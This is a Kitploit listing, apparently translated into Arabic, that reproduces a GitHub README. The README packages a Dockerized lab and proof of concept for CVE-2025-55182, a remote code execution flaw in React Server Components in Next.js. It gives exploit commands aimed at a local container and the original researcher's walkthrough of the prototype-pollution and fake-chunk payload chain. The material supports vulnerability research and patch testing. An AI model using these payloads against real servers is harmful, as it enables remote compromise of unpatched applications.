Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55182-Dockerized — إثبات مفهوم معزول بـ Docker لـ CVE-2025-55182، ثغرة RCE حرجة في React Server Components عبر تلوث النموذج الأولي، مع سكربتات استغلال آلية وبيئة اختبار Next.js ضعيفة. | Kitploit
أدوات/GitHubGitHub/clevernyyyy/cve-2025-55182-dockerized
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولاتمختبرات وتدريب عملي
GitHubclevernyyyy/cve-2025-55182-dockerized

CVE-2025-55182-Dockerized

إثبات مفهوم معزول بـ Docker لـ CVE-2025-55182، ثغرة RCE حرجة في React Server Components عبر تلوث النموذج الأولي، مع سكربتات استغلال آلية وبيئة اختبار Next.js ضعيفة.

عرض المستودع
114منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-55182 - إثبات مفهوم مُحوسب (Dockerized)

يحتوي هذا المستودع على إثبات مفهوم مُحوسب (Dockerized) للثغرة الأمنية CVE-2025-55182، وهي ثغرة حرجة لتنفيذ الأكواد عن بُعد (RCE) في مكونات خادم React (React Server Components - RSC) والتي تؤثر على تطبيقات Next.js التي تستخدم إجراءات الخادم (Server Actions).

الاعتمادات

تم إنشاء إثبات المفهوم الأصلي وتحليل الثغرة بواسطة msanft. يعمل هذا المستودع على توسيع عملهم من خلال توفير بيئة اختبار مُحوسبة (Dockerized) لتسهيل الاختبار والعرض التوضيحي.

بدء سريع

المتطلبات الأساسية

  • Docker مثبت ويعمل
  • Python 3 مع مكتبة requests (pip install requests)

تشغيل الاستغلال

  1. ابدأ تشغيل خادم Next.js الثغرة:

    docker compose up --build -d
    
  2. انتظر حتى يبدأ الخادم (تحقق من السجلات باستخدام docker compose logs -f nextjs-server)

  3. قم بتشغيل الاستغلال:

    # السكربت الآلي (موصى به)
    ./exploit-docker.sh
    
    # أو يدويًا
    ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
    python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
    
  4. تحقق من نجاح الاستغلال:

    docker compose exec nextjs-server ls -la /tmp/rce_test
    

أوامر أمثلة

# إنشاء ملف
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"

# الكتابة إلى ملف
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"

# التحقق من المستخدم الحالي
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"

# التحقق من النتائج
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user

ملاحظات مهمة

  • ⚠️ أخطاء المهلة (Timeout) متوقعة - فهي تشير إلى أن تنفيذ الأكواد عن بُعد (RCE) تم بنجاح
  • يتجمد الخادم بعد تنفيذ الأمر، مما يسبب مهلة HTTP
  • يتم تنفيذ الأوامر كمستخدم nextjs (UID 1001) داخل الحاوية
  • يتم إنشاء الملفات داخل نظام ملفات الحاوية، وليس على المضيف

إعداد Docker

يتضمن هذا المستودع إعداد Docker كاملاً لاختبار الثغرة:

  • docker-compose.yml - إعداد Docker Compose
  • test-server/ - تطبيق Next.js الثغرة
  • test-server/Dockerfile - Dockerfile للإنتاج
  • test-server/Dockerfile.dev - Dockerfile للتطوير (اختياري)

يعمل الخادم الثغرة على Next.js 16.0.6 مع إجراء خادم بسيط يمكن استغلاله.

الملفات

  • poc.py - سكربت إثبات المفهوم بلغة Python (الأصلي بواسطة msanft، مع إصلاحات لهروب علامات الاقتباس)
  • exploit-docker.sh - سكربت استغلال آلي لبيئة Docker
  • DOCKER_SETUP.md - توثيق شامل لإعداد Docker

التنظيف

# إيقاف الحاوية
docker compose down

# إزالة كل شيء (بما في ذلك وحدات التخزين)
docker compose down -v

تحليل الثغرة الأصلي

يتم تقديم التحليل المفصل للثغرة، وسلسلة الاستغلال، ومعلومات التصحيح من البحث الأصلي أدناه.


البحث الأصلي بواسطة msanft

تسمح هذه الثغرة بتنفيذ الأكواد عن بُعد (RCE) في دوال خادم React (React Server Functions)، على سبيل المثال كما تقدمها Next.js من خلال مراجع نموذج أولي (prototype) غير آمنة.

لست خبيرًا في React أو Next.js، لذا خذ جميع المعلومات هنا بحذر. علاوة على ذلك، ما زلت في عملية التحليل، لذا فإن ما أصوره أدناه بأنه "الثغرة" قد يكون فقط جزءًا صغيرًا من السلسلة الكاملة.

الخلفية

تقدم React دوال الخادم (Server Functions)[^1]، والتي يمكن النظر إليها كنوع من RPC- عبر HTTP. يمكن استخدامها لجلب البيانات من الأقران المجاورين لضمان زمن استجابة منخفض، أو تنفيذ طلبات موثقة تفتقر إليها بيانات اعتماد العميل.

تستخدم React ما يسمى بروتوكول React Flight[^2] لترميز (serialization) القيم التي تُمرر إلى دوال الخادم.

يمرر العميل "أجزاء" (chunks) إلى الخادم، على سبيل المثال عبر بيانات النموذج:

files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

كما هو موضح، يمكن أن تحتوي هذه الأجزاء على مراجع بين بعضها البعض. يتم إلغاء ترميز الحمولة أعلاه إلى ما يلي على الخادم:

{ object: 'fruit', name: 'cherry' }

التنسيق نفسه أكثر تعقيدًا بعض الشيء ويتيح إمكانية ترميز وإلغاء ترميز أكثر تعقيدًا، لكن هذا يوفر فهمًا أساسيًا للثغرة الفعلية.

الثغرة

حتى هذا الالتزام (commit)[^3]، عند اجتياز الأجزاء في حل المراجع (reference resolving)، مثل الحصول على fruitName من الجزء 2 في المثال أعلاه، لم تتحقق React سواء كان المفتاح المطلوب مُعيّنًا فعليًا على الكائن. هذا سمح لنا بالحصول على النموذج الأولي للكائن (prototype)[^4].

يمكن توضيح ذلك بحمولة مثل هذه:

files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

والتي يتم إلغاء ترميزها إلى مُنشئ الدالة (function constructor)[^5]:

[Function: Function]

عندما لا يكون الجزء ذو المعرّف 0 مصفوفة بل كائنًا، يمكننا تعيين مفتاح then إلى مُنشئ الدالة. يتم بعد ذلك إرجاع الكائن بواسطة دالة decodeReplyFromBusboy وانتظاره (await) بواسطة Next.js:

// action-handler.ts:888 (قبل التصحيح)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

عندما تُرجع هذه الدالة كائنًا قابلاً للانتظار (thenable)، فإن await في المتصل ستستدعيه. هذا ما يحدث مع هذه الحمولة:

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

مما يؤدي إلى هذا الخطأ:

SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

يبدو الخطأ بهذا الشكل لأن V8 يستدعي دالة تم انتظارها (awaited) مع دوال resolve و reject الداخلية، والتي، عند تحويلها إلى نص (toString)، تُرمّز إلى شيء مثل هذا:

function () { [native code] }

الاستغلال

نظرًا لأنه يمكننا استرجاع مُنشئ Function بسهولة، فإن الطريقة المباشرة هي العثور على أداة استدعاء (call gadget) تستدعي المُنشئ بقيمة يتحكم فيها المستخدم (أي كود الدالة كنص)، ثم تستدعي الدالة المُعادة لاحقًا.

هناك عدة أماكن يمكنها استدعاء مُنشئ الدالة، على سبيل المثال resolveServerReference، حيث يكون id كائنًا متحكمًا فيه، ويمكن استبدال lastIndexOf لإرجاع نص يتحكم فيه المستخدم (على سبيل المثال عبر Array.prototype.join) ويمكن استبدال slice بمُنشئ الدالة. ومع ذلك، لا يعمل هذا المكان لأن الاستدعاء الثاني لـ .slice() يزود رقمًا كوسيطة أولى، والتي -على حد علمي- لا يمكن لمُنشئ الدالة معالجتها أبدًا.

هنا، تأتي فكرة رائعة من maple3142[^7]. عندما تحصل getChunk على الجزء ذو المعرّف 0 كمرجع جذر لبدء حل سلسلة المراجع، يمكن لهذا الجزء نفسه أن يحل إلى "جزء مزيف" (fake chunk) مصنوع بدقة.

يمكننا الإشارة إلى الجزء المزيف 0 في الجزء 1 باستخدام صيغة $@، والتي تُرجع الجزء "الخام"، وليس قيمته المُحلّة:

case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

بدمج هذا مع استبدال then من الأعلى، يمكننا صياغة شيء مثل هذا:

files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

هنا، يستبدل الجزء 0 دالة .then() الخاصة به بدالة .then() الخاصة بتمثيل الجزء الخام نفسه. ببساطة، نستبدل .then() الخاص بنا بـ Chunk.prototype.then، الموجود، نظرًا لأن Chunk كائنات قابلة للانتظار (thenables):

Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

مع الحمولة أعلاه، يتم في النهاية استدعاء Chunk.prototype.then مع الجزء المزيف ذو المعرّف 0.

كما هو موضح أعلاه، عندما تكون .status على الجزء المزيف resolved_model:

files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

نصل إلى initializeModelChunk. هنا، يتم تحليل .value كـ JSON، ثم يتم حل المراجع على الكائن المُعاد، باستخدام "السياق" الخارجي لأجزائنا ذات المعرّفين 0 و1:

function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

ضمن هذا، نحصل الآن على تمريرة ثانية من التقييم مع قيم أكثر يمكننا الوصول إليها نظرًا لأن السياق الخارجي قد تم حله بالفعل.

تنزيل الأداة